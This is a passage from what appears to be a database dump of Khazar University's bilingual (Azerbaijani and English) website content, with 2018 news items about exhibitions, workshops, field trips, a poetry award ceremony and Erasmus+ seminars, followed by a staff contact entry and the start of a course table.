Fariba...','<p><a href=\"/files/events/miracles_poster.jpg\"><img src=\"/files/events/miracles_poster.jpg\" style=\"border:0px #000000;float:left;width:300px;height:410px;margin-left:7px;margin-top:7px;margin-right:10px\"></a>2018-ci il oktyabrın 15-i və 16-da Xəzər Universitetinin “Neftçilər” kampusunda universitetin PhD tələbəsi Fariba Farhanginin (İran İslam Respublikası) fərdi sərgisi nümayiş etdiriləcək.</p><p>Hər kəs dəvətlidir.</p>'),(6126,3490,'en','PhD student’s exhibition to be held','On October 15-16, 2018, an exhibition “Miracles of Nature” by Fariba Farhangi, a PhD student, (Islamic Republic of Iran) will be organized...','<p><a href=\"/files/events/miracles_poster.jpg\"><img src=\"/files/events/miracles_poster.jpg\" style=\"border:0px #000000;float:left;width:300px;height:410px;margin-left:7px;margin-top:7px;margin-right:10px\"></a>On October 15-16, 2018, an exhibition “Miracles of Nature” by Fariba Farhangi, a PhD student, (Islamic Republic of Iran) will be organized at “Neftchiler” campus of Khazar University.</p><p>Everybody is welcome.</p>'),(6127,3491,'az','“Beynin inkişafı və idarəsi” mövzusunda təlim olacaq','2018-ci il oktyabrın 19-da Psixologiya Elmi Tədqiqat İnstitutunun Beynəlxalq Təlim Mərkəzinin rəhbəri və TEDx...','<p><a href=\"/files/events/poster-psixo.jpg\"><img src=\"/files/events/poster-psixo.jpg\" style=\"border:0px  #000000;float:left;width:300px;height:422px;margin-left:7px;margin-top:7px;margin-right:7px\"></a>2018-ci il oktyabrın 19-da Psixologiya Elmi Tədqiqat İnstitutunun Beynəlxalq Təlim Mərkəzinin rəhbəri və TEDx Spiker-i Orxan Şahbaz Xəzər Universitetində “Beynin inkişafı və idarəsi” mövzusunda təlim keçəcək. O.Şahbaz bu gunə qədər Macarıstan, Serbiya və İsveçrə kimi ölkələrdə seminar və təlimlər ilə çıxış etmişdir. Psixologiya departamentinin müəllimi Nilufər Əlizadə tərəfindən təşkil olunacaq təlim Xəzər Universitetinin tələbələri üçün nəzərdə tutulur.</p><p>Maraqlanan hər kəs dəvət olunur.</p>'),(6128,3491,'en','A workshop “Brain development and management”','On October 19, 2018, Orkhan Shahbaz, Head of the Center for International Training at Research Institute and TEDx...','<p><a href=\"/files/events/poster-psixo.jpg\"><img src=\"/files/events/poster-psixo.jpg\" style=\"border:0px  #000000;float:left;width:300px;height:422px;margin-left:7px;margin-top:7px;margin-right:7px\"></a>On October 19, 2018, Orkhan Shahbaz, Head of the Center for International Training at Research Institute and TEDx Speaker, will deliver a workshop “Brain development and management” at Khazar University. Orkhan Shahbaz has delivered workshops in Hungary, Serbia and Switzerland before. The workshop, organized by Nilufar Alizadeh, instructor of the Department of Psychology, is only for Khazar University students.</p><p>Everyone interested is invited.</p>'),(6129,3492,'az','Gənc coğrafiyaçılar Şahdağ Milli Parkında','2018-ci oktyabrın 7-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin təşkilatçılığı ilə “ətraf mühit”...','<p>2018-ci oktyabrın 7-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin təşkilatçılığı ilə “ətraf mühit” fənnindən Şahdağ Milli Parkının İsmayıllı bölməsinə ekskursiya təşkil olundu. Çöl tədqiqatı zamanı tələbələr öncə Şahdağ Milli Parkının səkkizinci marşrutu olan “Buynuz” marşrutu (3,7 km) ilə hərəkət&nbsp;etdilər. Burada dağ meşə landşaftı, palıd, vələs, fısdıq, göyrüş, qaraçöhrə, yemişan, əzgil, itburnu, zirinc və s. bitki növləri, “Qırmızı kitab”a daxil olan qonur ayı, nəcib maral, Qafqaz köpgəri, vaşaq, məzar qartalı, Qafqaz tetrası, Qafqaz uları növləri haqqında ətraflı praktiki biliklər aldılar.</p>'),(6130,3492,'en','Young geographers in Shahdagh National Park','On October 7, 2018, on organizational support of the Department of Geography and the Environment of Khazar University, an excursion...','<p>On October 7, 2018, on organizational support of the Department of Geography and the Environment of Khazar University, an excursion was organized to Shahdagh National Park, the part in Ismayilli region, within the subject of “Environment”. Within a field study, the students took the “Buynuz” route (3,7 km), the 8th route of Shahdagh National Park. Here they were enlightened about mountain forest landscape, oak, hawthorn, beech, blackberries, hawthorn, pebbles and other plant species, as well as brown bear, noble deer, Caucasian chamois, lynx, grave eagle, Caucasian tetra, Caucasian snowcock, included in Red List of Threatened Species.</p>'),(6131,3493,'az','Gənc tarixçilər Qobustana səfər etdilər','2018-ci oktyabrın 6-da Xəzər Universiteti Tarix və arxeologiya departamentinin...','<p>2018-ci oktyabrın 6-da Xəzər Universiteti Tarix və arxeologiya departamentinin müdiri Roza Arazovanın dəstəyi və departamentin müəllimi Orxan Zamanovun təşəbbüsü ilə Təhsil fakültəsinin müəllim və tələbə heyəti xüsusi ayrılmış nəqliyyatla Azərbaycanın və dünyanın nadir tarixi-mədəniyyət abidə kompleksi olan Qobustana yollandı. Səfərdə Xəzər Universitetinin Təhsil fakültəsinin dekanı Elza Səmədli də iştirak edirdi.</p><p>Səfərin məqsədi universitetin birinci və ikinci kurs tarix müəllimliyi ixtisasının tələbələrinin tarixi bilikləri və Azərbaycanın maddi-mədəni irsi ilə bilavasitə tanışlığını təmin etmək idi.&nbsp;</p><p>Xəzər Universitetinin tələbələrinə Böyükdaş dağında qədim mağaralar, qayaüstü təsvirlər, landşaftın özünəməxsusluğu, ibtidai insanın ocaq və yaşayış yeri göstərildi. Daha sonra isə xüsusi olaraq yeni yaradılmış interaktiv muzeydə bələdçi tərəfində dünya və Azərbaycanın petroqlifləri, onların öyrənilməsi və coğrafiyası, bölgənin qədim iqlimi və landşaftı, fauna və florası, ibtidai insanın fəaliyyəti və yaşamı haqqında geniş ekskursiya təşkil olundu. Böyük maraq ilə qarşılanan səfər qısa istirahət saatı və əyləncəli oyunlar ilə başa çatdı.</p>'),(6132,3493,'en','Young historians visit Gobustan','On October 6, 2018, on organizational support of Roza Arazova...','<p>On October 6, 2018, on organizational support of Roza Arazova, Head of the Department of History and Archaeology, and initiative of Orkhan Zamanova, Instructor of the Department, students and instructors of the School of Education as well as Elza Samadova, Dean of the School of Education, visited Gobustan, one of the unique historical and cultural monument complex of Azerbaijan and the world.</p><p>The aim of the visit was to enlighten first and second year students, majoring in History, about the cultural heritage of Azerbaijan.</p><p>The students saw ancient caves, rock paintings, originality of the landscape, the mansion and habitat of the primitive man on the Boyukgardash Mountain. Then students went on excursion to get familiar with petroglyphs, studies on petroglyphs, geography, ancient climate and landscape as well as the fauna and flora of the region, and life of a primitive man. The visit caused a huge interest and finished with leisure activities.</p>'),(6133,3494,'az','III “Məmməd Araz poeziya günü”nə yekun vuruldu','2018-ci il oktyabr ayının 8-də III “Məmməd Araz Poeziya günü” çərçivəsində şairin anadan...','<p>2018-ci il  oktyabr ayının 8-də III “Məmməd Araz Poeziya günü” çərçivəsində şairin anadan olmasının 85 illiyinə və respublika üzrə şeir müsabiqəsi qaliblərinin mükafatlandırılmasına həsr olunmuş mərasim keçirilmişdir. Azərbaycan Respublikasının Prezidenti yanında Bilik Fondu, Azərbaycan Yazıçılar Birliyi və Xəzər Universitetinin birgə təşkilatçılığı ilə universitetin Mərmər alonunda düzənlənən yekun tədbirinə respublikanın görkəmli ədəbiyyat və mədəniyyət xadimləri, M.Araz şeirinin pərəstişkarları, şairin ailə üzvləri, yaxınları qatılmışdı.</p><p>Tədbir ənənəvi olaraq unudulmaz sənətkarın lentə alınmış öz ifasında səslənən şeiri ilə başladı. “Məmməd Araz Poeziya günü” layihəsinin rəhbəri, Xəzər Universitetinin müəllimi Qardaşxan Əzizxanlı il boyu şairə həsr olunmuş silsilə tədbirlər barədə məlumat verdi. O bildirdi ki, bu layihə çərçivəsində İsmayıllıda, Neftçalada, Bakıda–Xətai payonunun “Zəkalar” liseyində keçirilən ədəbi görüşlərə aprel ayında Qazax rayonundan start verilib. Sairin şeirlərinin ifası üzrə qalib olmuş məktəblilər Bilik Fondunun diplomları, təşəkkürnamələri və hədiyyələri ilə rəğbətləndirilib. Bugünkü tədbirin əsas məqsədi ustad şairin xatirəsinə həsr olunmuş şeir müsabiqəsi qaliblərinin elan edilməsidir. Q.Əzizxanlı vurğuladı ki, şeir müsabiqəsində məktəblilərdən təqaüdçülərədək bir neçə nəslin nümayəndəsi iştirak edib. Ən kiçik iştirakçılar Mingəçevirdən 20 saylı məktəbin 3-cü sinif şagirdləri Məhəmməd Məlikzadə və Ayşən Əhmədova olub. O, müsabiqəyə 30 rayondan 50-dək müəllifin 100-dən çox mətn göndərdiyini söylədi.</p><p>Sonra filologiya elmləri doktorları Cavanşir Yusifli, Rüstəm Kamal, filologiya üzrə fəlsəfə doktoru Azər Turan, AYB katibi şair İlqar Fəhmidən ibarət münsiflər heyətini təmsil edən filologiya elmləri doktoru Elnarə Akimova şeir müsabiqəsi qaliblərinin adlarını açıqladı. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, millət vəkili, yazıçı Aqil Abbas, şairin qızı - “Ədalət” qəzetinin Baş redaktoru İradə Tuncay, şair Dilsuz, Bilik Fondunun təmsilçisi Hacı Abdulla Nərimanoğlu, rəssam Kirman Abidin Bilik Fondunun və Azərbaycan Yazıçılar Birliyinin təsis etdiyi diplomları, təşəkkürnamələri və hədiyyələri şairlərdən Xalid Mahmuda (I yer), Mina Rəşidə (II yer), İbrahimxəlilə (III yer), Ağasəfaya, Mayis Səlimə və “Məmməd Araza yazılmış ən yaxşı şeir” nominasiyasının qalibi Əlizadə Nuriyə, həmçinin ustad şairin şeirlərinin ifası üzrə seçim turunun qalibi olmuş Xəzər Universitetinin tələbələri - Aytən Əsgərova, Aytac Həsənova və Pinar Məmmədzadəyə, Xətai payonu “Zəkalar” liseyinin şagirdləri Nəzrin Ağazadə, Əbülfəz Rzazadə, Nicat Səmədov, Nilufər Tağıyeva, Aydan Mehdiyeva və Şəbnəm Haşımlıya təqdim etdilər.</p><p>Sonra tədbirin aparıcısı - Xəzər Universitetinin tələbəsi Səkinə Ələkbərova şeir ifası üzrə 2017-ci ilin M.Araz adına “Qartal” mükafatı laureatı, Nizami rayonu 12 saylı tam orta məktəbin V sinif şagirdi İbrahim Əhmədova söz verdi. Balaca məktəblinin özünəməxsus manera ilə şeir söyləməsi, Azərbaycan Musiqi Mədəniyyəti Dövlət Muzeyinin Qədim Musiqi Alətləri ansamblının solisti, Əməkdar artist Nuriyyə Hüseynova, Xəzər Universitetinin Musiqi və incəsənət departamentinin müdiri, əməkdar müəllim Zülfiyyə Sadıqova (fortepiano), tanınmış aşıq-müğənni Solmaz Kosayeva, müğənnilərdən İlham Əsgəroğlu və Məhsəti Cabbarovanın ifaları alqışlarla qarşılandı. Moskva Dərviş Teatrının aktyoru Şirzad Pirallahının ifasında M.Arazın “Ayağa dur, Azərbaycan” şeirini bütün salon ayaq üstə alqışladı.</p><p>III “Məmməd Araz Poeziya günü” professor Hamlet İsaxanlının yekun çıxışı ilə başa çatdı.</p>'),(6134,3494,'en','The III \"Mammad Araz poetry day\" finished','On October 8, 2018, an awarding ceremony, the III \"Mammad Araz poetry...','<p>On October 8, 2018, an awarding ceremony, the III \"Mammad Araz poetry day\", for winners of national poetry competition, dedicated to 85th jubilee of Mammad Araz, was held. The final stage of the project was jointly organized by the Knowledge Foundation under the President of the Republic of Azerbaijan, Azerbaijan Union of Writers and Khazar University. The ceremony was attended by cultural figures, the poet’s family members, friends and readers.</p><p>Traditionally, the ceremony started with a record of a poem recited by the poet himself. Gardashkhan Azizkhanli, instructor of Azerbaijani Language and Literature and Leader of III \"Mammad Araz poetry day\" project, talked about series events organized throughout the year. He remarked that the first literary event started in Gazakh and continued in Ismayilli, Neftchala, at “Zakalar” Lyceum in Khatai district, Baku. The winners of poetry competition were awarded diplomas and gifts of the Knowledge Foundation. The main aim of the ceremony was to award the winners of the poetry competition dedicated to the memory of Mammad Araz. Gardashkhan Azizkhanli also mentioned that participants of the competition ranged from schoolers to retired people. The youngest participants were Mahammad Malekzadeh and Ayshan Ahmadova, third-grade students from school N 20 of Mingachevir city. He also added that about 50 authors from 30 districts submitted more than 100 texts to the competition.</p><p>Then Elnara Akimova, D.Sc. in Philology, who represented the jury consisting of Javanshir Yusifli, D.Sc. in Philology; Rustam Kamil; Azer Turan, PhD in Philology; and poet Ilgar Fahmi, Secretary of Azerbaijan Union of Writers, declared the winners of the competition.</p><p>Professor Hamlet Isakhanli, founder of Khazar University and Chairman of its Board of Directors and Trustees; Agil Abbas, a writer; Irada Tunjay, a daughter of the writer and editor-in-chief of the newspaper “Adalat”; poet Dilsuz; Haji Abdulla Narimanoghlu, a representative of the Knowledge Foundation; artist Kirman Abidin presented diplomas and gifts to Khalid and Mahmud (I place), Mina and Rashid (II place) and Ibrahimkhalil (III place), Aghasaf, Mayis, Salima, and Alizada Nuriya. Moreover, Khazar University students, who were winners of selection period of the competition, Aytan Asgarova, Aytaj Hasanova and Pinar Mammadzadeh, as well as the students of “Zakalar” Lyceum, Nazrin Aghazadeh, Abulfaz Rzazadeh, Nijat Samadov, Nilufar Taghiyeva, Aydin Mehdiyev and Shabnam Hashimova were also awarded.</p><p>Later, Sakina Alakbarova, the emcee of the ceremony and a Khazar University student, gave the floor to Ibrahim Ahmadov, a “Gartal” award laureate and fifth-grade student of the school N 12 of Nizami district, who recited a poem with a specific manoeuvre.</p><p>People’s Artist Nuriyya Huseynova, Soloist of the Ancient Music Instruments Ensemble of the State Museum of Musical Culture of Azerbaijan; Honored Teacher Zulfiyya Sadigova (fortepiano), Head of the Department of Music and Fine Arts of Khazar University; Solmaz Kosayeva, a well-known ashig-singer; singers Ilham Asgaroghlu and Mahsati Jabbarova, delivered performances which were welcomed by spectators, who stood up impressed by recitation of the poem “Stand up, Azerbaijan”.</p><p>The III \"Mammad Araz poetry day\" ended with a speech of Hamlet Isakhanli.</p>'),(6135,3495,'az','Görkəmli bəstəkar Murad Kajlayevdən Azərbaycana təşəkkür məktubu','Görkəmli bəstəkar Murad Kajlayev Üzeyir Hacıbəyli X Beynəlxalq Musiqi Festivalı çərçivəsində Bakıda müəllif...','<p>Görkəmli bəstəkar Murad Kajlayev Üzeyir Hacıbəyli X Beynəlxalq Musiqi Festivalı çərçivəsində Bakıda müəllif konsertlərinin yüksək səviyyədə təşkilinə görə Azərbaycan Respublikasının mədəniyyət naziri Əbülfəs Qarayevə <strong><a href=\"/files/letters/tesekkur_mektubu_mk.pdf\">təşəkkür məktubu</a></strong> göndərmişdir. Məktubda bəstəkar festival çərçivəsində Xəzər Universitetində keçirilmiş müəllif konsertinə görə universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıya və universitetin Musiqi və incəsənət departamentinin müdiri Zülfiyyə Sadıqovaya da təşəkkürünü bildirmişdir.</p>'),(6136,3495,'en','A letter of gratitude by Murad Kajlayev to Azerbaijan','Murad Kajlayev, a prominent composer, sent a letter of gratitude to Abulfas Garayev, Minister of Culture, for a high-level organization...','<p>Murad Kajlayev, a prominent composer, sent a <strong><a href=\"/files/letters/tesekkur_mektubu_mk.pdf\">letter of gratitude</a></strong> to Abulfas Garayev, Minister of Culture, for a high-level organization of author’s concerts within X Uzeyir Hajibeyli International Music Festival. In the letter, the composer also expresses his gratitude to Prof. Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees, and Zulfiyya Sadigova, Head of the Department of Music and Fine Arts, for the author’s concert held at Khazar University.</p>'),(6381,3625,'az','“Tələbə öyrənməsinin sinifdə qiymətləndirilməsi” adlı seminar keçiriləcək','2018-ci il noyabrın 26-sı saat 15:00-da Xəzər Universiteti İnkişaf...','<p>2018-ci il noyabrın 26-sı saat 15:00-da Xəzər Universiteti İnkişaf Mərkəzi və Təlim-Tədris Mərkəzinin təşkilatçılığı ilə Təhsil fakültəsinin Fulbright Professoru Dr. Qaisar Sultananın (Təhsil Kolleci, Kentuki Universiteti, ABŞ) təqdimatında “<em>Tələbə öyrənməsinin sinifdə qiymətləndirilməsi</em>” adlı seminar keçirilməsi nəzərdə tutulur. Seminar “Neftçilər” kampusu Ömürboyu Təhsil Mərkəzində (Yeni Bina, 5-ci mərtəbə) keçiriləcək.</p><p>Maraqlanan hər kəs seminara dəvət olunur.</p><p>Qeyd edək ki, bu təlim Erasmus Plus PETRA layihəsi (573630-EPP-1-2016-1-AZ-EPPKA2-CBHE-JP) çərçivəsində həyata keçirilir.</p>'),(6247,3555,'az','PETRA layihəsinin növbəti görüşü olacaq','2018-ci il noyabrın 5-dən 7-dək Erasmus+ PETRA layihəsi...','<p>2018-ci il noyabrın 5-dən 7-dək Erasmus+ PETRA layihəsi (573630-EPP-1-2016-1-AZ-EPPKA2-CBHE-JP) çərçivəsində Xəzər Universiteti İnkişaf Mərkəzi və Təlim-Tədris Mərkəzinin təşkilatçılığı ilə layihənin idarəetmə görüşü və təlimlərin keçirilməsi nəzərdə tutulur. “Tədqiqat imkanları və təhsil prosesində İKT-dən istifadə” adlı təlimlər Azərbaycandan layihə tərəfdaşı olan universitetlərin əməkdaşları üçün keçiriləcək. Təlimlər tədqiqatın necə aparılması, tədqiqat metodları, ölkədə tədqiqatın vəziyyəti və tədqiqat imkanları kimi mövzuları əhatə etməklə, avropalı təlimçilər tərəfindən veriləcək.</p>'),(6248,3555,'en','Next meeting within PETRA project to be held','On November 5-7, 2018, within PETRA project...','<p>On November 5-7, 2018, within PETRA project (573630-EPP-1-2016-1-AZ-EPPKA2-CBHE-JP), management meeting of the project and trainings will jointly be organized by the Center for Development and Training Center at Khazar University. The trainings “Research opportunities and use of ICT in teaching” will be held for associates of partner universities in Azerbaijan. The trainings will be led by a European trainer which will cover research methods, research opportunities and the current situation of research.</p>'),(6249,3559,'az','“Praktiki müsahibə” keçirildi','2018-ci il il oktyabrın 22-də Xəzər Universitetinin Karyera Mərkəzi tələbələrlə...','<p>2018-ci il il oktyabrın 22-də Xəzər Universitetinin Karyera Mərkəzi tələbələrlə “Praktiki müsahibə” keçirdi. Müsahibədə 3-cü və 4-cü kurs tələbələri iştirak edirdilər.</p><p>Tələbələr onlara ünvanlanan müxtəlif sualları cavablandıraraq, müsahibə zamanı ifadə şəkli və davranış qaydaları ilə tanış oldular.</p><p>Tələbələr özlərini daha yaxşı ifadə etməyi və gələcək iş müsahibələrini daha uğurla keçməyi öyrəndilər.</p>'),(6250,3559,'en','“Practical interview” is held','On October 22, 2018, Career Center of Khazar University held “Practical interview...','<p>On October 22, 2018, Career Center of Khazar University held “Practical interview” with third and fourth-year students.</p><p>Answering various questions students got familiar with speech and behavioral etiquettes.</p><p>Participating in this activity students learnt how to express their opinions better and have a successful job interview.</p>'),(6251,3560,'en','An article by “Koroghlu” researcher published','An article entitled “Motive of change of clothes in “Koroghlu” epic (based on Azeri...','<p>An article entitled “<em>Motive of change of clothes in “Koroghlu” epic (based on Azeri and Turkish versions)</em>” by Elza Ismayilova, instructor of Khazar University, was published in “Dada Gorgud” scientific-literary journal (II (61)), a publication of the Institute of Azerbaijan National Academy of Sciences.</p>'),(6252,3560,'az','“Koroğlu” araşdırmaçısının məqaləsi çap olundu','Xəzər Universitetinin müəllimi Elza İsmayılovanın “Koroğlu” dastanında qiyafətdəyişdirmə...','<p>Xəzər Universitetinin müəllimi Elza İsmayılovanın “<em>Koroğlu” dastanında qiyafətdəyişdirmə motivi (Azərbaycan və Türkiyə variantları əsasında)</em>” adlı məqaləsi Azərbaycan Milli Elmlər Akademiyası Folklor İnstitutunun nəşri olan “Dədə Qorqud” elmi-ədəbi toplusunda (II (61)) çap edilmişdir.</p>'),(6253,3561,'az','I kurs tələbələri Milli Azərbaycan Tarixi Muzeyinə səfər etdilər','2018-ci il oktyabrın 11-i və 12-də Xəzər Universiteti Humanitar və Sosial Elmər fakültəsinin I kurs...','<p>2018-ci il oktyabrın 11-i və 12-də Xəzər Universiteti Humanitar və Sosial Elmər fakültəsinin I kurs (tərcümə və regionşünaslıq ixtisasları) tələbələri Tarix və arxeologiya departamentinin müəllimi Zəhra İslamovanın rəhbərliyi ilə muzeydə oldular. Məqsəd tələbələrin&nbsp;tarixi biliklərini və Azərbaycanın maddi-mədəni irsi ilə birbaşa və əyani surətdə tanışlığını təmin etmək idi.</p><p>Azərbaycan tarixinin bütün dövrlərini özündə əks etdirən eksponatlar tələbələrin marağına səbəb oldu.</p>'),(6254,3561,'en','First-year students visit the National Museum of History of Azerbaijan','On October 11-12, 2018, the first-year students of the School of Humanities and Social Sciences...','<p>On October 11-12, 2018, the first-year students of the School of Humanities and Social Sciences (majoring in Translation and Regional studies) visited the National Museum of History of Azerbaijan guided by Zahra Ismayilova, Instructor of the Department of History and Archaeology. The aim of the visit was to enlighten students about the cultural heritage of Azerbaijan.</p><p>The exhibits covering all historical periods of Azerbaijan piqued students’ interest.</p>'),(6255,3562,'az','“Tədrisin keyfiyyəti” adlı seminar oldu','2018-ci il oktyabrın 23-də Xəzər Universiteti İnkişaf Mərkəzi və Təlim-Tədris Mərkəzinin təşkilatçılığı...','<p>2018-ci il oktyabrın 23-də Xəzər Universiteti İnkişaf Mərkəzi və Təlim-Tədris Mərkəzinin təşkilatçılığı ilə Təhsil fakültəsinin müəllimi, Fulbright professoru Qaisar Sultananın təqdimatında “Tədrisin keyfiyyəti” adlı seminar baş tutdu. Seminarda universitetin müxtəlif departamentlərindən və kitabxanadan olan əməkdaşları iştirak edirdilər. Tədbir müəllimlərin peşəkar inkişafının artırılması və müxtəlif metodlardan istifadə edərək, təhsilin keyfiyyətinin artırılması məqsədilə həyata keçirilirdi.</p><p>Qeyd edək ki, bu təlim Erasmus+ PETRA layihəsi (573630-EPP-1-2016-1-AZ-EPPKA2-CBHE-JP) çərçivəsində həyata keçirilir.</p>'),(6256,3562,'en','“Quality of Teaching” Seminar','On October 23, 2018, on a joint organizational support of the Center for Development and the Training Center...','<p>On October 23, 2018, on a joint organizational support of the Center for Development and the Training Center, Fulbright Prof. Qaisar Sultana, Instructor of the School of Education, conducted a seminar “Quality of Teaching” which was attended by associates of various departments and library. The aim of the workshop was to contribute to the professional development of instructors and develop the quality of teaching.</p><p>The workshop was conducted within Erasmus+ PETRA project (573630-EPP-1-2016-1-AZ-EPPKA2-CBHE-JP).</p>'),(6257,3563,'az','“Xəzər”in müəllimi “Tətbiqi sənətdə batika” mövzusunda təlim keçirdi','2018-ci il oktyabrın 19-da Heydər Əliyev Mərkəzi və “Regional İnkişaf” İctimai Birliyinin...','<p>2018-ci il oktyabrın 19-da Heydər Əliyev Mərkəzi və “Regional İnkişaf” İctimai Birliyinin (RİİB) təşkilatçılığı ilə Masallı şəhərindəki “ASAN Həyat” kompleksindəki Heydər Əliyev İncəsənət Məktəbində Azərbaycan Rəssamlar İttifaqının üzvü, Xəzər Universitetinin dizayn müəllimi, universitetdəki Tətbiqi Sənət Muzeyinin direktoru, batika sənəti sahəsində çalışan Afaq Kərimova “Tətbiqi sənətdə batika” mövzusunda təlim keçirdi. O, parça üzərində nəqqaşlıq sənəti olan batikanın yaranması, inkişaf yolu, növləri və s. barədə ətraflı məlumat verdi və bu sənət növünün İndoneziya, Hindistan, Çin, Azərbaycan və s. ölkələrdə yayıldığını bildirdi.</p><p>Abdulla Şaiq adına Azərbaycan Dövlət Kukla Teatrının rəssamı, Prezident mükafatçısı Əfşan Əsədova batikanın işlənmə texnikası haqqında çıxış etdi.</p><p>Azərbaycan Dövlət Mədəniyyət və İncəsənət Universitetinin müəllimi, Əməkdar incəsənət xadimi Rafael Əsədov tədbirdə iştirak edirdi.</p><p>AZƏRTAC tədbir haqqında geniş xəbər yaymışdır:&nbsp;</p><p><a href=\"https://azertag.az/xeber/Batika_parcha_uzerinde_neqqasliq_senetidir-1206272\">https://azertag.az/xeber/Batika_parcha_uzerinde_neqqasliq_senetidir-1206272</a>.</p>'),(6258,3563,'en','Training on “Batik in Applied Art” conducted by Khazar University Instructor','On October 19, 2018, on joint organizational support of Heydar Aliyev Center...','<p>On October 19, 2018, on joint organizational support of Heydar Aliyev Center and “Regional Development” Public Union, Afag Karimova, an expert on batik, Director of Museum of Applied Art at Khazar University, Design Instructor at the University, Member of the Union of Artists of Azerbaijan, conducted a training “Batik in Applied Art” at Heydar Aliyev Art School in “ASAN Hayat” complex, Masalli city. She provided information on development and types of batik, an art of Decorative painting on cloth, and added that batik is widespread in Indonesia, India, China, Azerbaijan and other countries.</p><p>Afshan Asadov, Artist of Azerbaijan State Puppet Theater named after Abdulla Shaig and Presidential Award Winner, delivered a speech about techniques of batik decoration.</p><p>Rafael Asadov, Instructor of the Azerbaijan State University of Culture and Arts and Honored Art Worker, also participated in the event.</p><p>AZERTAC posted news on the event:</p>  \r\n<p><a href=\"https://azertag.az/xeber/Batika_parcha_uzerinde_neqqasliq_senetidir-1206272\">https://azertag.az/xeber/Batika_parcha_uzerinde_neqqasliq_senetidir-1206272</a>.</p>'),(6259,3564,'az','İşçi heyəti','İşçi heyəti','<p><strong><a href=\"http://www.khazar.org/files/letters/Sabina_Allahveranova_CV.pdf\"><img src=\"http://www.khazar.org/files/letters/Sabina_al.jpg\" style=\"float:left;width:150px;height:245px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Səbinə Allahverənova</a></strong></p><p><strong>Peşə Mərkəzinin Meneceri</strong></p><p>Beynəlxalq Əlaqələr üzrə bakalavr (Girne American&nbsp;University,&nbsp;ŞKTR, Kipr)&nbsp;</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:Sallahveranova@khazar.org\">sallahveranova[at]khazar.org</a>&nbsp; &nbsp;&nbsp;</p>  <p><strong>Telefon</strong>: (+994 12) 421 79 16&nbsp;(212)  <br></p>  <p><br></p><p><br></p><p><br></p>'),(6260,3564,'en','Staff','Staff','<p><strong><a href=\"http://www.khazar.org/files/letters/Sabina_Allahveranova_CV.pdf\"><img src=\"http://www.khazar.org/files/letters/Sabina_al.jpg\" style=\"float:left;width:150px;height:245px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Sabina Allahveranova</a></strong></p><p><strong><strong>Manager of Career Center</strong>  </strong></p><p>BS in International Relations (Girne&nbsp;American&nbsp;University, TRNC, Cyprus)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:Sallahveranova@khazar.org\">sallahveranova[at]khazar.org</a>&nbsp; &nbsp;&nbsp;</p>  <p><strong>Phone</strong>: (+994 12) 421 79 16&nbsp;(212)  <br></p>  <p><br></p><p><br></p><p><br></p>'),(6150,3505,'en','Political Science','Political Science','<div style=\"text-align:center\"><strong><br></strong></div><div style=\"text-align:center\"><br></div><div style=\"text-align:center\"><strong><br></strong></div><div style=\"text-align:center\"><strong><br></strong></div><h3 style=\"text-align:center\"><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Bachelor Program in Political Science</strong></h3><div style=\"text-align:center\"><strong><br></strong></div>&nbsp;&nbsp;<p><br></p><table cellpadding=\"0\" cellspacing=\"0\" width=\"1105\" style=\"\" border-collapse:collapse;width:830pt\";border-width:1px;border-style:solid\"=\"\">\r\n <tbody><tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\" class=\"xl125\" width=\"1105\" style=\"text-align: center;\" height:16.5pt;width:830pt\"\"=\"\"><strong style=\"background-color:#ffffff\">1st Year</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl119\" style=\"text-align: center; background-color: rgb(153, 51, 102);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em style=\"color:#ffffff\">Fall Semester&nbsp;</em></strong></td>\r\n  <td style=\"background-color:#993366\">&nbsp;</td>\r\n  <td colspan=\"4\" class=\"xl122\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em style=\"color:#ffffff\">Spring Semester&nbsp;</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\"><em>Code</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>Courses&nbsp;</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>Prerequisite</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>ECTS</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>&nbsp;</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>Code</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>Courses&nbsp;</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>Prerequisite</em></td>\r\n  <td style=\"background-color:#ffffff\"><em>ECTS</em></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">ENGL101</td>\r\n  <td style=\"background-color:#ffffff\">English Foundations-1</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">8</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"background-color:#ffffff\">ENGL102</td>\r\n  <td style=\"background-color:#ffffff\">English Foundations-2</td>\r\n  <td style=\"background-color:#ffffff\">ENGL101</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">8</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ffffff\">AZH150</td>\r\n  <td style=\"background-color:#ffffff\">History of Azerbaijan</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td style=\"text-align:center;background-color:#ffffff\">6</td>\r\n  <td style=\"background-color:#ffffff\">&nbsp;</td>\r\n  <td 